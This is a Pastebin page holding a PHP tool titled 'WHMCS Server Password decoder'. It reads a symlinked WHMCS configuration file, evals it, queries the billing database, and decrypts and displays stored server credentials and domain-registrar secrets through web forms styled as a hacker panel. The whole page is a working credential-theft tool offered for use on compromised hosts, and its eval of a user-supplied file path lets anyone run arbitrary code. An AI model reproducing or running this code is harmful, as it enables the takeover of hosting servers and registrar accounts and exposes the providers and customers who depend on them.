API tools faq
paste
Guest User

Untitled

a guest
May 16th, 2018
395
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.51 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.  
  3. ###########################################
  4. #      WHMCS Server Password decoder       #
  5. #      Coded By RAB3OUN                    #
  6. #          v.b-4@hotmail.com               #
  7. #Note : I'm Proud to be ~~TUNISIAN~~       #  
  8. ###########################################
  9.  
  10.  
  11.  
  12. function decrypt ($string,$cc_encryption_hash)
  13. {
  14.  
  15.         $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
  16.         $hash_key = _hash ($key);
  17.         $hash_length = strlen ($hash_key);
  18.         $string = base64_decode ($string);
  19.         $tmp_iv = substr ($string, 0, $hash_length);
  20.         $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
  21.         $iv = $out = '';
  22.         $c = 0;
  23.         while ($c < $hash_length)
  24.         {
  25.                 $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
  26.                 ++$c;
  27.         }
  28.  
  29.         $key = $iv;
  30.         $c = 0;
  31.         while ($c < strlen ($string))
  32.         {
  33.                 if (($c != 0 AND $c % $hash_length == 0))
  34.                 {
  35.                         $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
  36.                 }
  37.  
  38.                 $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
  39.                 ++$c;
  40.         }
  41.  
  42.         return $out;
  43. }
  44.  
  45.  
  46. function _hash ($string)
  47. {
  48.         if (function_exists ('sha1'))
  49.         {
  50.                 $hash = sha1 ($string);
  51.         }
  52.         else
  53.         {
  54.                 $hash = md5 ($string);
  55.         }
  56.  
  57.         $out = '';
  58.         $c = 0;
  59.         while ($c < strlen ($hash))
  60.         {
  61.                 $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
  62.                 $c += 2;
  63.         }
  64.  
  65.         return $out;
  66. }
  67.  
  68.  if($_POST['form_action'] == 1 )
  69.  {
  70.  //include($file);
  71.  
  72.  $file=($_POST['file']);
  73. $text=file_get_contents($file);
  74.  
  75. $text= str_replace("<?php", "", $text);
  76. $text= str_replace("<?", "", $text);
  77. $text= str_replace("?>", "", $text);
  78.  
  79. eval($text);
  80.  
  81.     $link=mysql_connect($db_host,$db_username,$db_password) ;
  82.             mysql_select_db($db_name,$link) ;
  83.  
  84. $query = mysql_query("SELECT * FROM tblservers");
  85.  
  86. while($v = mysql_fetch_array($query)) {
  87.  
  88. $ipaddress = $v['ipaddress'];
  89. $username = $v['username'];
  90. $type = $v['type'];
  91. $active = $v['active'];
  92. $hostname = $v['hostname'];
  93.  
  94. echo("<center><table border='1'>");
  95. $password = decrypt ($v['password'], $cc_encryption_hash);
  96. echo("<tr><td>Type</td><td>$type</td></tr>");
  97. echo("<tr><td>Active</td><td>$active</td></tr>");
  98. echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
  99. echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
  100. echo("<tr><td>Username</td><td>$username</td></tr>");
  101. echo("<tr><td>Password</td><td>$password</td></tr>");
  102.  
  103.  
  104. echo "</table><br><br></center>";
  105.  
  106. }
  107.  
  108.     $link=mysql_connect($db_host,$db_username,$db_password) ;
  109.             mysql_select_db($db_name,$link) ;
  110.  
  111. $query = mysql_query("SELECT * FROM tblregistrars");
  112. echo("<center>Domain Reseller <br><table border='1'>");
  113. echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
  114. while($v = mysql_fetch_array($query)) {
  115.  
  116. $registrar      = $v['registrar'];
  117. $setting = $v['setting'];
  118. $value = decrypt ($v['value'], $cc_encryption_hash);
  119. if ($value=="") {
  120. $value=0;
  121. }
  122. $password = decrypt ($v['password'], $cc_encryption_hash);
  123. echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
  124.  
  125.  
  126.  
  127.  
  128.  
  129. }
  130. echo "</table><br><br></center>";
  131. }
  132.  
  133.  
  134.  
  135.  if($_POST['form_action'] == 2 )
  136.  {
  137.  //include($file);
  138.  
  139.  $db_host=($_POST['db_host']);
  140.  $db_username=($_POST['db_username']);
  141.  $db_password=($_POST['db_password']);
  142.  $db_name=($_POST['db_name']);
  143.  $cc_encryption_hash=($_POST['cc_encryption_hash']);
  144.  
  145.  
  146.  
  147.  
  148.     $link=mysql_connect($db_host,$db_username,$db_password) ;
  149.             mysql_select_db($db_name,$link) ;
  150.  
  151. $query = mysql_query("SELECT * FROM tblservers");
  152.  
  153. while($v = mysql_fetch_array($query)) {
  154.  
  155. $ipaddress = $v['ipaddress'];
  156. $username = $v['username'];
  157. $type = $v['type'];
  158. $active = $v['active'];
  159. $hostname = $v['hostname'];
  160.  
  161. echo("<center><table border='1'>");
  162. $password = decrypt ($v['password'], $cc_encryption_hash);
  163. echo("<tr><td>Type</td><td>$type</td></tr>");
  164. echo("<tr><td>Active</td><td>$active</td></tr>");
  165. echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
  166. echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
  167. echo("<tr><td>Username</td><td>$username</td></tr>");
  168. echo("<tr><td>Password</td><td>$password</td></tr>");
  169.  
  170.  
  171. echo "</table><br><br></center>";
  172.  
  173. }
  174.  
  175.  
  176.     $link=mysql_connect($db_host,$db_username,$db_password) ;
  177.             mysql_select_db($db_name,$link) ;
  178.  
  179. $query = mysql_query("SELECT * FROM tblregistrars");
  180. echo("<center>Domain Reseller <br><table border='1'>");
  181. echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
  182. while($v = mysql_fetch_array($query)) {
  183.  
  184. $registrar      = $v['registrar'];
  185. $setting = $v['setting'];
  186. $value = decrypt ($v['value'], $cc_encryption_hash);
  187. if ($value=="") {
  188. $value=0;
  189. }
  190. $password = decrypt ($v['password'], $cc_encryption_hash);
  191. echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
  192.  
  193.  
  194.  
  195.  
  196.  
  197. }
  198. echo "</table><br><br></center>";
  199. }
  200.  
  201.  
  202.  
  203.  
  204. ?><body bgcolor="#000000">
  205.  <style>
  206.  
  207. BODY { SCROLLBAR-BASE-COLOR: #191919; SCROLLBAR-ARROW-COLOR: olive;   color: white;}
  208. textarea{background-color:#191919;color:red;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1px solid #666666;}
  209. input{FONT-WEIGHT:normal;background-color: #191919;font-size: 13px;font-weight:bold;color: red; font-family: Tahoma; border: 1px solid #666666;height:17}
  210. </style>
  211. <center>
  212. <font color="#FFFF6FF" size='+3'>[ ~~ WHMCS Server Password decoder ~~ ]</font><br><br>
  213. <font color="#0066FF" size='+2'>Symlink to configuration.php of WHMCS</font><br>
  214. </center>
  215. <FORM action=""  method="post">
  216. <input type="hidden" name="form_action" value="1">
  217. <br>
  218.  <input type="text" size="30" name="file" value="">
  219. <br>
  220. <INPUT class=submit type="submit" value="Submit" name="Submit">
  221. </FORM>
  222. <hr>
  223.  
  224. <br>
  225. <center>
  226. <font color="#0066FF" size='+2'>DB configuration of WHMCS</font><br>
  227. </center>
  228. <FORM action=""  method="post">
  229. <input type="hidden" name="form_action" value="2">
  230. <br>
  231. <table border=1>
  232.  
  233. <tr><td>db_host </td><td><input type="text" size="30" name="db_host" value="localhost"></td></tr>
  234. <tr><td>db_username </td><td><input type="text" size="30" name="db_username" value=""></td></tr>
  235. <tr><td>db_password</td><td><input type="text" size="30" name="db_password" value=""></td></tr>
  236. <tr><td>db_name</td><td><input type="text" size="30" name="db_name" value=""><td></tr>
  237. <tr><td>cc_encryption_hash</td><td><input type="text" size="30" name="cc_encryption_hash" value=""></td></tr>
  238.  
  239. </table>
  240. <br>
  241. <INPUT class=submit type="submit" value="Submit" name="Submit">
  242. </FORM>
  243. <hr>
  244. <center>
  245. <font color="#0066FF" size='+2'>Password decoder</font><br>
  246. <?
  247.  if($_POST['form_action'] == 3 )
  248.  {
  249.  
  250.  
  251.  
  252.  $password=($_POST['password']);
  253.  
  254.  $cc_encryption_hash=($_POST['cc_encryption_hash']);
  255.  
  256.  
  257. $password = decrypt ($password, $cc_encryption_hash);
  258.  
  259. echo("Password is ".$password);
  260.  
  261. }
  262. ?>
  263. </center>
  264. <FORM action=""  method="post">
  265. <input type="hidden" name="form_action" value="3">
  266. <br>
  267. <table border=1>
  268.  
  269. <tr><td>Password</td><td><input type="text" size="30" name="password" value=""></td></tr>
  270. <tr><td>cc_encryption_hash</td><td><input type="text" size="30" name="cc_encryption_hash" value=""></td></tr>
  271.  
  272. </table>
  273. <br>
  274. <INPUT class=submit type="submit" value="Submit" name="Submit">
  275. </FORM>
  276. <hr>
  277.  
  278.  
  279.   <center> <font color="#FFFF6FF" size='+1'>   Coded By RAB3OUN v.b-4@hotmail.com    </font><br><br> <center>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!